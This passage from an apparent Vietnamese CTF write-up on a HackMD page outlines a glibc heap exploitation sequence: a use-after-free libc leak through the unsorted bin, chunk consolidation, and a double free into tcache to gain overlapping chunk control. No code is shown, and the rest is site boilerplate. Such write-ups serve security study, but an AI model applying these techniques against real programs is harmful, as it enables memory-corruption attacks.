1 chunk vào unsorted -> có thể lấy libc qua UAF, chuẩn bị gộp chunk ![image](https://hackmd.io/_uploads/SJh-6GIUeg.png) - free `chunk c` để b+c gộp lại -> sau này malloc(0x100+0x100) -> control được cả chunk c ![image](https://hackmd.io/_uploads/HyNYpMI8ee.png) - lấy `chunk a` khỏi tcache bằng malloc(0x100) -> tcache còn dư 1 vị trí - free chunk c (lỗi double free) -> chunk c sẽ nằm ở đỉnh tcache - control chunk c (control luôn tcache) bằng malloc(0x100+0x100) thì sẽ lấy luôn cả chunk b+c ![image](https://hackmd.io/_uploads/ry_qCfLLlg.png)

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully